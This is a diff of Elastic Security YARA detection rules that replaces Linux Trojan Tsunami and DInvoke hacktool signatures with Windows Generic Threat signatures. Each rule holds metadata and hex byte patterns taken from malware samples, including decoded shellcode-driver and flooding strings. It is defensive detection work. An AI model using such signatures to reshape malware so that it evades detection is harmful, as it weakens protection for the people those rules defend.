-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_DinvokeRust.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ebf0f1bfd166d2d49b642fa43cb0c7364c0c605d9a7f108dc49d9f1cc859ab4a"
-		logic_hash = "7be1a4e25cf41e47ab135c718b7ec5a49a2890cf873c52597f8dab4d47636ed8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2620-L2638"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "94a3f10396c07783586070119becf0924de9a7caf449d6e07065837d54e6222d"
+		logic_hash = "9254226918f39389ccc347de1c5064552a8500ccef1884b8e27b6e98c651f45b"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "0587368dc33b7fee0037be9247daaeaf6846c2b4a839660511ebf5eb0fdfb087"
-		severity = 100
+		fingerprint = "b47bd4baa68dc56948f29882cf5762b0af2d9f2a837349add4f5d0a8d4152cb2"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = { 64 69 6E 76 6F 6B 65 ?? ?? 67 65 74 5F }
-		$s2 = { 64 69 6E 76 6F 6B 65 ?? ?? 6E 74 5F }
-		$s3 = { 64 69 6E 76 6F 6B 65 ?? ?? 6C 69 74 63 72 79 70 74 }
-		$s4 = { 64 69 6E 76 6F 6B 65 5C 73 72 63 5C 6C 69 62 2E 72 73 }
-		$s5 = { 75 6E 77 69 6E 64 65 72 ?? ?? 63 61 6C 6C 5F 66 75 6E 63 74 69 6F 6E }
-		$s6 = { 75 6E 77 69 6E 64 65 72 ?? ?? 69 6E 64 69 72 65 63 74 5F 73 79 73 63 61 6C 6C }
+		$a1 = { 5B 21 5D 20 45 72 72 6F 72 20 77 72 69 74 69 6E 67 20 73 68 65 6C 6C 63 6F 64 65 20 74 6F 20 74 68 65 20 74 61 72 67 65 74 20 64 72 69 76 65 72 2C 20 61 62 6F 72 74 }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_D9E6B88E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_046Aa1Ec : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "d9e6b88e-256c-4e9d-a411-60b477b70446"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "046aa1ec-5134-4a03-85c2-048b5d363484"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a4ac275275e7be694a200fe6c5c5746256398c109cf54f45220637fe5d9e26ba"
-		logic_hash = "979d2ae62efca0f719ed1db2ff832dc9a0aa0347dcd50ccede29ec35cba6d296"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2640-L2658"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c74cf499fb9298d43a6e64930addb1f8a8d8336c796b9bc02ffc260684ec60a2"
+		logic_hash = "da6552da3db4851806f5a0ce3c324a79acf4ee4b2690cb02cc8d8c88a2ba28f8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8fc61c0754d1a8b44cefaf2dbd937ffa0bb177d98b071347d2f9022181555b7a"
-		severity = 100
+		fingerprint = "46591671500f83b6627a17368a0bbe43650da1dd58ba1a136a47818fe685bc68"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 04 02 01 20 03 20 02 C9 07 40 4E 00 60 01 C0 04 17 B6 92 07 }
+		$a1 = { 83 C4 F4 D9 7D FE 66 8B 45 FE 80 CC 0C 66 89 45 FC D9 6D FC DF 7D F4 D9 6D FE 8B 45 F4 8B 55 F8 8B E5 5D C3 55 8B EC 51 33 D2 8D 5D 08 8B 03 83 C3 04 85 C0 74 03 03 50 04 49 75 F1 85 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_30C039E2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_85C73807 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "30c039e2-1c51-4309-9165-e3f2ce79cd6e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "85c73807-4181-4d4a-ba51-6ed923121486"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b494ca3b7bae2ab9a5197b81e928baae5b8eac77dfdc7fe1223fee8f27024772"
-		logic_hash = "a9dbfede68a3209b403aa40dbc5b69326c3e1c14259ed6bc6351f0f9412cfce2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2660-L2678"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7f560a22c1f7511518656ac30350229f7a6847d26e1b3857e283f7dcee2604a0"
+		logic_hash = "90aa64f17b91ccdf367e1976cd1f5e89e15c7369a58b2d19187143e70939d756"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4c97fed719ecfc68e7d67268f19aff545447b4447a69814470fe676d4178c0ed"
-		severity = 100
+		fingerprint = "8b63723aa1b89149c360048900a18e25a0a615f50cec1aaadca2578684f5bcb2"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 E0 0F B6 00 84 C0 74 1F 48 8B 45 E0 48 8D 50 01 48 8B 45 E8 48 83 }
+		$a1 = { 55 8B EC 51 53 56 57 89 4D FC 8B DA 8B F0 8B 7D 08 C6 86 18 01 00 00 00 8B C3 E8 15 01 00 00 84 C0 75 0E 8B 55 FC 8B C6 8B CF E8 45 F8 FF FF EB 0F 56 57 8B FE 8B F3 B9 47 00 00 00 F3 A5 5F 5E }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_C94Eec37 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_642Df623 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "c94eec37-8ae1-48d2-8c75-36f2582a2742"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "642df623-00ae-48a9-8d61-aaa688606807"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "294fcdd57fc0a53e2d63b620e85fa65c00942db2163921719d052d341aa2dc30"
-		logic_hash = "39a49e1661ac2ca6a43a56b0bd136976f6d506c0779d862a43ba2c25d6947fee"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2680-L2698"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e5ba85d1a6a54df38b5fa655703c3457783f4a4f71e178f83d8aac878d4847da"
+		logic_hash = "555eb66f117312fa4ff3a49c0c40f89caddec3eb4b93d11bda2cce40529d46a0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c692073af446327f739e1c81f4e3b56d812c00c556e882fe77bfdff522082db4"
-		severity = 100
+		fingerprint = "fb2c74f7e3e7f4e25173c375fe863e643183da4f5d718d61fdd0271fcc581deb"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 05 88 10 8B 45 E4 0F B6 10 83 E2 0F 83 CA 40 88 10 8B 45 E4 C6 40 }
+		$a1 = { 55 8B EC 50 B8 04 00 00 00 81 C4 04 F0 FF FF 50 48 75 F6 8B 45 FC 81 C4 3C FE FF FF 53 56 57 64 8B 05 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 8B 00 8B 40 18 89 45 FC 33 C9 8B 45 FC 89 45 DC 8B 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_F806D5D9 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_27A2994F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f806d5d9-0bf6-4da7-80fb-b1612f2ddd5b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "27a2994f-18e4-4608-bda6-ee76b6afd357"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5259495788f730a2a3bad7478c1873c8a6296506a778f18bc68e39ce48b979da"
-		logic_hash = "86336f662e3abcf2fe7635155782c549fc9eef514356bf78bfbc3b65192e2d90"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2700-L2718"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e534914e06d90e119ce87f5abb446c57ec3473a29a7a9e7dc066fdc00dc68adc"
+		logic_hash = "66f34ba3052e2369528aeaf076f10d58f8f3dca420666246e02191fecb057f8c"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f4f838fcd1fe7f85e435225f3e34b77b848246b2b9618b47125a611c8d282347"
-		severity = 100
+		fingerprint = "33d3f5b2c5fed68b19e14d6a35ee8db4ba3d6d566c87e24fc7a9223235cbd0ee"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 41 54 45 48 54 54 50 20 3C 68 6F 73 74 3E 20 3C 73 72 63 3A }
+		$a1 = { 55 8B EC 51 53 56 57 83 7D 08 00 75 05 E9 88 00 00 00 6A 09 E8 D7 FD FF FF 83 C4 04 8B 45 08 83 E8 20 89 45 FC 8B 4D FC 8B 51 14 81 E2 FF FF 00 00 83 FA 04 74 41 8B 45 FC 83 78 14 01 74 38 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_0Fa3A6E9 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Dbceec58 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0fa3a6e9-89f3-4bc8-8dc1-e9ccbeeb836d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "dbceec58-0b98-470c-8439-23aa26b4064f"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "40a15a186373a062bfb476b37a73c61e1ba84e5fa57282a7f9ec0481860f372a"
-		logic_hash = "970062e909ffe5356b750605f2c44a6e893949bc5bc71be3ea98b16e51629d4d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2720-L2738"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fbec30528e6f261aebf0d41f3cd6d35fcc937f1e20e1070f99b1b327f02b91e0"
+		logic_hash = "2a99fb7b342b43e3a4f0136d7d618625ca5708ae32e6fcabb11420bd8c89915b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fed796c5275e2e91c75dcdbf73d0c0ab37591115989312c6f6c5adcd138bc91f"
-		severity = 100
+		fingerprint = "5f470a7367ebbffebae8384aa552b3e9b1bda6bf4a3241bda047970341ee7c4c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EC 8B 55 EC C1 FA 10 0F B7 45 EC 01 C2 89 55 EC 8B 45 EC C1 }
+		$a1 = { 83 EC 14 83 7D 08 00 74 0C 83 7D 0C 00 74 06 83 7D 10 00 75 08 8B 45 08 E9 87 00 00 00 8B 45 08 89 45 FC 8B 45 0C 89 45 F8 8B 45 10 C1 E8 02 89 45 EC 83 65 F4 00 EB 07 8B 45 F4 40 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_36A98405 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7407Eb79 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "36a98405-8b95-49cb-98c5-df4a445d9d39"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "7407eb79-69fd-4f5c-b883-ceb74fbdc9d5"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a57de6cd3468f55b4bfded5f1eed610fdb2cbffbb584660ae000c20663d5b304"
-		logic_hash = "a32d324d1865a7796faefbc2f209e6043008a696929fe7837afbbc770e6f4c74"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2740-L2758"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9ae0f053c8e2c4f4381eac8265170b79301d4a22ec1fdb86e5eb212c51a75d14"
+		logic_hash = "a60c3e54493f9dab71584ba301c41c43f30d554df8c0b05674995faaf407ee48"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c76ca23eece4c2d4ec6656ffb40d6e6ea7777d8a904f4775913fe60ebd606cd6"
-		severity = 100
+		fingerprint = "f1dbb42fdd80020fa2b30beb50ded6b8b3fe4b023935cef9bd32b3cb0a095654"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 05 88 85 50 FF FF FF 0F B6 85 50 FF FF FF 83 E0 0F 83 C8 40 88 85 50 FF }
+		$a1 = { 83 EC 18 8B 45 08 8B 40 08 89 45 E8 8B 45 08 8B 40 0C 89 45 EC 8B 45 EC 83 C0 0C 89 45 F0 8B 45 F0 8B 00 89 45 F8 83 65 F4 00 E8 00 00 00 00 58 89 45 F4 8B 45 F8 3B 45 F0 74 31 8B 45 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_0C6686B8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_3613Fa12 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "0c6686b8-8880-4a2c-ba70-9a9840a618b0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3613fa12-b559-4c3f-8049-11bacd5ffd0c"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L121-L139"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
-		logic_hash = "731bb3f9957e8777040c0b7b316a818f4ee1ca9a113fb9eed24ee61bfc71e11d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2760-L2778"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1403ec99f262c964e3de133a10815e34d2f104b113b0197ab43c6b7b40b536c0"
+		logic_hash = "77b23aaf384de138214e64342e170f3dce667ee41c3063c999286da9af6fff42"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7bab1c0cf4fb79c50369f991373178ef3b5d3f7afd765dac06e86ac0c27e0c83"
-		severity = 100
+		fingerprint = "c66b5dad2e9b19be0bc67a652761d8f79ce85efde055cc412575c2d7c5583795"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 F8 31 C0 48 8B 45 C8 0F B7 40 02 66 89 45 D0 48 8B 45 C8 8B }
+		$a1 = { 55 8B EC 51 89 4D FC 8D 45 08 50 8B 4D FC E8 4D 03 00 00 8B 45 FC 8B E5 5D C2 04 00 CC CC CC CC 55 8B EC 51 89 4D FC 8B 45 FC 8B E5 5D C3 CC CC 55 8B EC 51 89 4D FC 8B 45 08 50 8B 4D FC E8 FD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_9Ce5B69F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B125Fff2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9ce5b69f-4938-4576-89da-8dcd492708ed"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "b125fff2-7b36-431f-8ed3-ccb6d4ff9483"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L141-L159"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad63fbd15b7de4da0db1b38609b7481253c100e3028c19831a5d5c1926351829"
-		logic_hash = "b9756eb99e59ba3a9a616b391bcf26bda26a6ac0de115460f9ba52129f590764"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2780-L2798"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9c641c0c8c2fd8831ee4e3b29a2a65f070b54775e64821c50b8ccd387e602097"
+		logic_hash = "054f3f36c688e1f5c3116e7a926df12df90f79dc1d42bee2616b5251f6ad2c24"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "90fece6c2950467d78c8a9f1d72054adf854f19cdb33e71db0234a7b0aebef47"
-		severity = 100
+		fingerprint = "e2562c480b3ab0f0e6c5d396bc5d0584481348c1dd8edaac4484d9cb5d4a2b2e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F4 8B 54 85 B4 8B 45 E4 8D 04 02 C6 00 00 FF 45 F4 8B 45 E4 01 }
+		$a1 = { 6F 00 00 0A 6F 70 00 00 0A 00 28 24 00 00 06 0A 06 2C 24 00 28 1B 00 00 06 0B 07 2C 19 00 28 CE 04 00 06 16 FE 01 0C 08 2C 0B 7E 03 00 00 04 6F D3 04 00 06 00 00 00 28 1A 00 00 06 00 28 18 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_55A80Ab6 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D7E5Ec2D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "55a80ab6-3de4-48e1-a9de-28dc3edaa104"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d7e5ec2d-bcd1-41a3-80de-12808b9034c9"
+		date = "2024-02-20"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L161-L179"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5259495788f730a2a3bad7478c1873c8a6296506a778f18bc68e39ce48b979da"
-		logic_hash = "1fc29f98e9ea2a5b67d0a88f37813a5e62b5f1d2a26aee74f90e9ead445dc713"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2800-L2818"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fe711664a565566cbc710d5e678a9a30063a2db151ebec226e2abcd24c0a7e68"
+		logic_hash = "4edb8cc1da81e0b9b3a8facc9a9a7d1e27dff0d2db7851d06a209beec3ccb463"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2fe3a9e1115d8c2269fe090c57ee3d5b2cd52b4ba1d020cec0135e2f8bbcb50e"
-		severity = 100
+		fingerprint = "e679e6917c5055384c0492e4a8a7538b41e5239b78e2167b04fffa3693f036bb"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 68 65 20 63 75 72 72 65 6E 74 20 73 70 6F 6F 66 69 6E 67 }
+		$a1 = { 83 C4 F8 89 45 FC 8B 45 FC E8 17 FE FF FF 83 FA 00 75 03 83 F8 FF 77 16 8B 45 FC E8 F1 FE FF FF 83 FA 00 75 03 83 F8 FF 77 04 33 C0 EB 02 B0 01 88 45 FB 8A 45 FB 59 59 5D C3 8D 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_E98B83Ee : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_1636C2Bf : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "e98b83ee-0533-481a-9947-538bd2f99b6b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1636c2bf-5506-4651-9c4c-cd6454386301"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L181-L199"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cf1ca1d824c8687e87a5b0275a0e39fa101442b4bbf470859ddda9982f9b3417"
-		logic_hash = "8b16c0fee991ee2143a20998097066a90b1f20060bac7b42e5c3188adcdc7907"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2820-L2838"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6e43916db43d8217214bbe4eb32ed3d82d0ac423cffc91d053a317a3dbe6dafb"
+		logic_hash = "c8b198cd5f9277ff3808ee2a313ab979d544b9e609d6623876d2e3c3c5668e38"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b5440c783bc18e23f27a3131ccce4629f8d0ceea031971cbcdb69370ab52e935"
-		severity = 100
+		fingerprint = "b0cd9f484d4191d42091300be33c72a29c073c297b4e46811555fc6d1ab0f482"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 45 FE 00 00 EB 16 48 8B 55 D8 0F B7 02 0F B7 C0 01 45 E0 48 83 45 }
+		$a1 = { 28 00 00 0A 28 22 00 00 0A 80 19 00 00 04 28 3B 00 00 06 28 2D 00 00 0A 28 45 00 00 06 16 80 1D 00 00 04 7E 13 00 00 04 7E 15 00 00 04 16 7E 15 00 00 04 8E B7 16 14 FE 06 43 00 00 06 73 63 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Tsunami_8A11F9Be : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_0A640296 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Tsunami (Linux.Trojan.Tsunami)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "8a11f9be-dc85-4695-9f38-80ca0304780e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0a640296-0813-4cd3-b55b-01b3689e73d9"
+		date = "2024-03-04"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Tsunami.yar#L201-L219"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1f773d0e00d40eecde9e3ab80438698923a2620036c2fc33315ef95229e98571"
-		logic_hash = "f80dcb3579a76da787e9bb2bfb02ef86e464aec1bea405f02642b8c8902c7663"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2840-L2858"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3682eff62caaf2c90adef447d3ff48a3f9c34c571046f379d2eaf121976f1d07"
+		logic_hash = "743c47c7a58e7d65261818b4b444aaf8015b9b55d3e54526b1d63a8770a6c5aa"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
